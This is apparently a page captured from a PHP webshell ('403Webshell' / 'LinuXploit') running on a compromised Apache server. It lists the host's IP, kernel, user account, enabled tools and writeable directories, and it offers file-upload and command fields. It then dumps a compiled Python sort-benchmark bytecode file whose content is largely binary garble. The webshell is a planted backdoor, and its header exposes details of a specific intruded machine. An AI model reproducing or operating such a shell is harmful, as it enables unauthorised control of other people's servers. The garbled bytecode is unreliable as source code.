403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/sortperf.cpython-36.pyc
3

�w2_��@svdZddlZddlZddlZddlZddlZddlZej�Zdd�Z	dd�Z
dd�Zd	d
�Zdd�Z
ed
krre
�dS)z_Sort performance test.

See main() for command line syntax.
See tabulate() for output format.

�Nc sHtjjtd|�}yt|d�}Wn�tk
r�tj��fdd�t|�D�}yVz&t|d�}tj	||�|j
�d}Wd|r�ytj|�Wntk
r�YnXXWn0tk
r�}ztd|d|�WYdd}~XnXYnZXtj
|�}|j
�xDtd	�D]8}tj|�}|d|�}|d|�=|j�|j|�~q�Wt|�|k�sDt�|S)
z+Return a list of n random floats in [0, 1).zrr%06d�rbcsg|]
}���qS�r)�.0�i)�rr�2/opt/alt/python36/lib64/python3.6/test/sortperf.py�
<listcomp>szrandfloats.<locals>.<listcomp>�wbNzcan't write�:�
)�os�path�join�td�open�OSError�random�range�marshal�dump�close�unlink�print�load�	randrange�reverse�extend�len�AssertionError)�n�fn�fp�result�msgrZtempr)rr�
randfloatss<
&



r$cCstjj�dS)N)�sys�stdout�flushrrrrr'8sr'cCs6tj�}|j�tj�}td||dd�t�dS)Nz%6.2f� )�end)�timeZperf_counter�sortrr')�LZt0Zt1rrr�doit;s
r-c
Cs�tdd�dD��}ddt|�}t|d|��x�|D�]�}d|>}t|�}td	||fd
d�t�t|�|j�t|�t|�x>td�D]2}tj	|�}tj	|�}||||||<||<q�Wt|�|d
kr�dd�td
�D�|dd�<t|�x(t|d�D]}tj�|tj	|�<�q
Wt|�|dk�r`|dd�=||d}t
tdd�|��}t|�~t
ttdg|��}t|�~|d}	t
t|	ddd��}|j
t|	��t
tt|��}t|�t�q:WdS)a:Tabulate sort speed for lists of various sizes.

    The sizes are 2**i for i in r (the argument, a list).

    The output displays i, 2**i, and the time to sort arrays of 2**i
    floating point numbers with the following properties:

    *sort: random data
    \sort: descending data
    /sort: ascending data
    3sort: ascending, then 3 random exchanges
    +sort: ascending, then 10 random at the end
    %sort: ascending, then randomly replace 1% of the elements w/ random values
    ~sort: many duplicates
    =sort: all equal
    !sort: worst case scenario

    cSsg|]}|d�qS)r+r)rZchrrrrUsztabulate.<locals>.<listcomp>z	*\/3+%~=!z%2s %7sz %6sr�2**i�z%2d %7dr()r)�rcSsg|]}tj��qSr)r)r�dummyrrrrksN�d�cSs|S)Nr)�xrrr�<lambda>ysztabulate.<locals>.<lambda>g�?�)rr.i����g����r7)�tuplerrr$r'r-rrrr�list�map�absr�float)
rZcasesZfmtrrr,r1Zi1Zi2Zhalfrrr�tabulateBsL



r=cCs�d}d}tjdd�r�ttjd�}}tjdd�r�ttjd�}tjdd�r�d}x&tjdd�D]}d|t|�}qfWtj|�t||d�}t|�dS)z�Main program when invoked as a script.

    One argument: tabulate a single row.
    Two arguments: tabulate a range (inclusive).
    Extra arguments are used to seed the random generator.

    ��r/Nr6r0i�
)r%�argv�int�hashrZseedrr=)Zk1Zk2r4�arrrr�main�s	
rD�__main__)�__doc__r%r*rrZtempfilerZ
gettempdirrr$r'r-r=rD�__name__rrrr�<module>s'L

Youez - 2016 - github.com/yon3zu
LinuXploit